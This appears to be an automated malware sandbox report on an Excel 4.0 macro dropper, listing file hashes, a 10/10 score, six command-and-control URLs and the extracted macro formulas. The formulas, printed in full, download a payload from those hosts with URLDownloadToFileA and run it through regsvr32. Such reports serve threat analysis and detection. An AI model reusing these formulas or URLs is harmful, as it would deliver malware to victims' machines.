General

  • Target

    3f47a82b5352f02cd2fc793505886e0e8aede65e0c6678357576cb3377f69f68

  • Size

    40KB

  • Sample

    241111-vll4fa1lf1

  • MD5

    b942a5495110575f4a88053048a80c56

  • SHA1

    020008fc01dec5abecfddff509bbf3663dd1f8a1

  • SHA256

    3f47a82b5352f02cd2fc793505886e0e8aede65e0c6678357576cb3377f69f68

  • SHA512

    70ee2acda7e661688ab4f7408cf310483a160fee7e8f2ddd6f0dbc7780fa55894cf66aa1f06f136b81a72aebde8d3ec9596ba89570198ad0e39990bea10e069f

  • SSDEEP

    768:q/omdH+DOevZCwttqyKfcrND59V+L9Rw4eWrXcTqZ0VP2HLp:GomdH+DoylND59V4jwmXc2CVCF

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://vipteck.com/wp-content/M/

https://shofarshoshanna.com/t0ssm/roE/

https://santacruzam.com/wp-admin/FeDgNEP/

https://thearkrealmproject.com/wp-admin/wxB4Wp3KyEMCsZva/

https://kingspointresidence.com/camelia-diamond_/G/

https://rockadile.nl/blogs/36DlPQKwRR1vOFQR/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipteck.com/wp-content/M/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shofarshoshanna.com/t0ssm/roE/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://santacruzam.com/wp-admin/FeDgNEP/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thearkrealmproject.com/wp-admin/wxB4Wp3KyEMCsZva/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kingspointresidence.com/camelia-diamond_/G/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rockadile.nl/blogs/36DlPQKwRR1vOFQR/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://vipteck.com/wp-content/M/

xlm40.dropper

https://shofarshoshanna.com/t0ssm/roE/

xlm40.dropper

https://santacruzam.com/wp-admin/FeDgNEP/

xlm40.dropper

https://thearkrealmproject.com/wp-admin/wxB4Wp3KyEMCsZva/

xlm40.dropper

https://kingspointresidence.com/camelia-diamond_/G/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://vipteck.com/wp-content/M/

xlm40.dropper

https://shofarshoshanna.com/t0ssm/roE/

xlm40.dropper

https://santacruzam.com/wp-admin/FeDgNEP/

xlm40.dropper

https://thearkrealmproject.com/wp-admin/wxB4Wp3KyEMCsZva/

Targets

    • Target

      3f47a82b5352f02cd2fc793505886e0e8aede65e0c6678357576cb3377f69f68

    • Size

      40KB

    • MD5

      b942a5495110575f4a88053048a80c56

    • SHA1

      020008fc01dec5abecfddff509bbf3663dd1f8a1

    • SHA256

      3f47a82b5352f02cd2fc793505886e0e8aede65e0c6678357576cb3377f69f68

    • SHA512

      70ee2acda7e661688ab4f7408cf310483a160fee7e8f2ddd6f0dbc7780fa55894cf66aa1f06f136b81a72aebde8d3ec9596ba89570198ad0e39990bea10e069f

    • SSDEEP

      768:q/omdH+DOevZCwttqyKfcrND59V+L9Rw4eWrXcTqZ0VP2HLp:GomdH+DoylND59V4jwmXc2CVCF

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks